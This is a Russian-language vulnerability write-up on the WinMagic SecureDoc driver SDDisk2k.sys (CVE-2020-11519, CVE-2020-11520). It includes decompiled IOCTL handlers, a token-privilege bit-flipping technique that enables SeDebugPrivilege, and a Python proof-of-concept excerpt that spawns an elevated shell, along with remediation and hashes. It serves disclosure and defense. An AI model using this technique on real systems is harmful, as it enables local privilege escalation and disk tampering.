В результате реверс-инжиниринга ряда обработчиков служб [IOCTL](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes) драйвера "SDDisk2k.sys" было обнаружено, что один из них предоставляет критическую функциональность пользовательскому режиму, а именно - по замыслу позволяет выполнять операции чтения и записи необработанных секторов диска произвольного накопителя. Кроме того, при взаимодействии с этим кодом было замечено, что драйвер игнорирует любые эксклюзивные блокировки, которые могли быть установлены ранее на накопителе. Как следствие, становятся возможными одновременные операции чтения/записи, что способствует состояниям гонки и риску потери данных.

Далее показан декомпилированный обработчик служб IOCTL драйвера, отвечающий за обработку запросов на чтение необработанных секторов диска. Он вызывает функцию sub_29CD4() с аргументом "controlled_buf", который является указателем на буфер, содержимое которого может быть произвольно выбрано любым вызывающим приложением пользовательского режима:``` c
if ( ioctlcode == 0x8D1F2824 )   // <--- I/O control code for raw disk reading functionality
{
  controlled_buf = (unsigned __int8 *)controlled_addr;
  mode = 0;
  temp_result = sub_29CD4((char *)controlled_buf, v3, mode);   // <--- call to raw disk read function

// get object pointer of drive
if ( IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject) >= 0
  || (v12 = sub_2C5D4(&DestinationString, &DeviceObject), v12 >= 0) )
{
  // extract further fields from structure
  offset = *(_QWORD *)(p + 0x4E);                    // <--- where to start reading from
  length = *(_DWORD *)(p + 0x56);                    // <--- number of bytes to read
  ptr_buf = *(void **)(p + 0x5A);                    // <--- ptr to destination buffer
  devobj = DeviceObject;
  StartingOffset.QuadPart = offset << 9;
  KeInitializeEvent(&Event, NotificationEvent, 0);
  
  // build request
  v17 = IoBuildSynchronousFsdRequest(
          (unsigned int)(mode != 0) + IRP_MJ_READ,   // <--- issue read request
          devobj,
          ptr_buf,
          length << 9,
          &StartingOffset,
          &Event,
          &IoStatusBlock);
  v18 = v17;
  if ( v17 )
  {
    v19 = v17->Tail.Overlay.CurrentStackLocation;
    if ( mode )
      v19[0xFFFFFFFF].Flags |= 0x10u;
    ObfReferenceObject(devobj);

    // send request to respective device object (issue read request)
    v12 = IofCallDriver(devobj, v18);

Так же, как и чтение сырых секторов диска, запись секторов диска из пользовательского режима становится возможной благодаря вызову обработчика IOCTL 0x8D1F2820, который обрабатывает ту же структуру данных и реализован аналогичным образом. Учитывая совместимость с протоколом этого драйвера, ничто не помешает произвольным пользовательским приложениям полностью скомпрометировать операционную систему. Если не защищено механизмом безопасной загрузки, это включает даже установку программного обеспечения, которому разрешено выполняться на ранних этапах загрузки системы (программы-вымогатели, буткиты, пользовательские импланты...).

### CVE-2020-11520
Дальнейшее изучение обработчиков служб драйвера "SDDisk2k.sys" показало, что адреса памяти из пользовательских приложений обрабатываются без предварительной проверки. В некоторых случаях память, к которой обращаются эти указатели, слепо записывается драйвером, что может быть использовано злоумышленниками для создания примитивов записи в ядро. В то время как все примитивы записи позволяют напрямую контролировать **куда** записывать данные, к сожалению, ни один из них не позволял напрямую контролировать **какие** данные записывать. За исключением [CVE-2020-11519](#cve-2020-11519), эксплуатация которого в этом контексте потребовала бы дополнительного обхода через операции чтения/записи диска, что я считаю грязным подходом и хотел избежать. Однако был идентифицирован один конкретный обработчик, который, хотя и не позволял контролировать сами данные, оказался достаточно хорош для того, чтобы быть перепрофилированным другими способами.

Приведенный ниже декомпилированный код показывает обработчик службы драйвера для кода IOCTL 0x8d1f282c. Он принимает 16-битное целое число "count" из буфера, контролируемого пользователем, затем гарантирует, что оно не превысит определенного лимита. Наконец, указатель "dst" извлекается из того же самого контролируемого входного буфера, но никогда не проверяется на валидность перед тем, как быть переданным в качестве аргумента последующему вызову memmove(). К моему первоначальному разочарованию, буфер "src", передаваемый в качестве аргумента memmove(), не контролируется, а вместо этого указывает на жестко закодированную строку ("FRNSecureDoc v4.1\0"), что ограничивает его полезность для эксплуатации до определенной степени. Очевидно, этот обработчик службы записывает идентификатор версии в адрес, задаваемый пользователем, что также может быть использовано для идентификации уязвимых версий Winmagic SecurDoc.``` c
// handler for I/O control code 0x8d1f282c

// get "count" from controlled buffer
count = *((_WORD *)controlled_buf + 5);

// if count is zero, return error
if ( !count )
{
  *((_WORD *)controlled_buf + 5) = 0x13;
  goto leave_dispatcher;
}

// otherwise further sanitize and limit "count"
if ( count >= 0x12u )
  count = 0x11;

// bug! controlled pointer, passed from userland!
dst = *(void **)(controlled_buf + 2);
src = aFrnsecuredocV4;   // <--- 'FRNSecureDoc v4.1',0

// unchecked write!
memmove(dst, src, count);
goto leave_dispatcher;

Структура SEP_TOKEN_PRIVILEGES представляет собой набор битовых масок, где каждый отдельный бит обозначает флаг привилегии. Как логическое следствие, вежливая просьба к драйверу SecureDoc сохранить часть своей строки версии "FRNSecureDoc v4.1\0" в структуру SEP_TOKEN_PRIVILEGES токена процесса должна переключить несколько битов и, возможно, включить полезные привилегии, по крайней мере гипотетически. Как выяснилось, заставив драйвер сохранить первые два символа своей строки версии в смещения 1 и 2 поля "Present" структуры SEP_TOKEN_PRIVILEGE, устанавливается ряд интересных привилегий токена. Символ '**F**' из "**F**RNSecureDoc v4.1\0" равен 01000110 и поэтому устанавливает бит 9 (SeTakeOwnershipPrivilege), бит 10 (SeLoadDriverPrivilege) и бит 14 (SeIncreaseBasePriorityPrivilege) поля "Present". Символ '**R**' равен 01010010, устанавливая бит 17 (SeBackupPrivilege), бит 20 (SeDebugPrivilege) и бит 22 (SeSystemEnvironmentPrivilege):

| Bit No ("Present") | Character | Byte | Privilege |
| :--------------: | :-------: | ------------ | --------- |
| 8                | 'F'       | 0100011**0** | SeSecurityPrivilege |
| 9                | 'F'       | 010001**1**0 | **SeTakeOwnershipPrivilege** |
| 10               | 'F'       | 01000**1**10 | **SeLoadDriverPrivilege** |
| 11               | 'F'       | 0100**0**110 | SeSystemProfilePrivilege |
| 12               | 'F'       | 010**0**0110 | SeSystemtimePrivilege |
| 13               | 'F'       | 01**0**00110 | SeProfileSingleProcessPrivilege |
| 14               | 'F'       | 0**1**000110 | **SeIncreaseBasePriorityPrivilege** |
| 15               | 'F'       | **0**1000110 | SeCreatePagefilePrivilege |
| 16               | 'R'       | 0101001**0** | SeCreatePermanentPrivilege |
| 17               | 'R'       | 010100**1**0 | **SeBackupPrivilege** |
| 18               | 'R'       | 01010**0**10 | SeRestorePrivilege |
| 19               | 'R'       | 0101**0**010 | SeShutdownPrivilege |
| 20               | 'R'       | 010**1**0010 | **SeDebugPrivilege** |
| 21               | 'R'       | 01**0**10010 | SeAuditPrivilege |
| 22               | 'R'       | 0**1**010010 | **SeSystemEnvironmentPrivilege** |
| 23               | 'R'       | **0**1010010 | SeChangeNotifyPrivilege |

## Эксплойт Proof-of-Concept
Эксплойт [proof-of-concept](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py) был разработан на Python и отлажен с помощью [отладчика ядра WinDbg от Microsoft](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-toolsk), подключенного к виртуальной машине x64 Windows 10.

Этот PoC-эксплойт получает адрес ядра токена безопасности текущего процесса и, помимо прочего, включает привилегию SeDebugPrivilege, используя описанные уязвимости. Затем он запускает командную оболочку, которая наследует недавно повышенные привилегии токена.

Наличие установленного флага SeDebugPrivilege позволит внедрить шелл-код и запустить его в контексте процесса SYSTEM – однако эту часть я оставлю вам ;)``` python
token_addr = sdi.get_token_obj()
if not token_addr:
    print("[!] Could not get address of token")
    sdi.close()
    return

print("[+] Got token object: %x" % token_addr)
print("[+] Patching token")
sdi.acquire_debug_privs(token_addr)
sdi.close()

os.system("cmd.exe")

Код эксплойта PoC можно найти [здесь](https://github.com/patois/winmagic_sd/blob/HEAD/sd_poc.py). Он нацелен на v8.5 Winmagic SecureDoc x64, но может работать и на более старых версиях (не проверено).

Если вы добрались до этого места, но вам всё ещё ужасно скучно, не стесняйтесь набрать IOCTL-код 0x8D1F2848 ;)``` c
case 0x8D1F2848:
  DbgPrint("SDDEV_IO_BLUE_SCREEN comes in ...");
  if ( *(_WORD *)controlled_buf == 0x55AA
    && *(_QWORD *)(controlled_buf + 2)
    && *((_WORD *)controlled_buf + 5) == 4 )
  {
    StartContext = ExAllocatePoolWithTag(PoolType, 4ui64, 'gaMW');
    if ( !StartContext )
    {
      KeSetPriorityThread(KeGetCurrentThread(), 0x1F);
      KeBugCheckEx(0xE2u, 0x2D8ui64, **(unsigned int **)(controlled_buf + 2), 0i64, 'WM');
    }
    DbgPrint("SDDEV_IO_BLUE_SCREEN preps ...");
    *StartContext = **(_DWORD **)(controlled_buf + 2);
    if ( PsCreateSystemThread(
            &ThreadHandle,
            0x1FFFFFu,
            0i64,
            0i64,
            0i64,
            (PKSTART_ROUTINE)sub_23948,
            StartContext) < 0 )
      ExFreePoolWithTag(StartContext, 0);
    else
      ZwClose(ThreadHandle);
  }

## Решение
Обновите до Winmagic SecureDoc v8.5 SR2 HF1.

## Контрольные суммы
| Имя файла             | Версия | Хэш (SHA-256) |
| -------------------- | ------- | -------------- |
| SDDisk2k.sys (64bit) | 8.3.717 | 98D29D28BB9552D20BC78EB0BD12A57B921167565F3E47919EC2D61F24DA9241 |
| SDDisk2k.sys (64bit) | 8.5.445 | 1D9054C4B49267EEF63B2EB11EC563E036F9E6E2AC18D32597FA769934BB7E18 |

## Ссылки
1. [Злоупотребление привилегиями токенов для LPE](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)
2. [Эксплуатация CVE-2014-4113 в Windows 8.1](http://jodeit.org/research/Exploiting_CVE-2014-4113_on_Windows_8.1.pdf)
3. [Простая локальная эксплуатация ядра Windows](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
4. [У меня 99 проблем, но указатель ядра — не одна из них](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf)
5. [Эксплуатация утекших дескрипторов процессов и потоков](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
6. [Обсуждение на Sourceforge о вызове NtQuerySystemInformation с помощью ctypes](https://sourceforge.net/p/ctypes/mailman/message/34578496/)
7. [Примечания к выпуску SecureDoc v8.5SR2](https://www.winmagic.com/support/release-notes/securedoc-v8-5-sr2)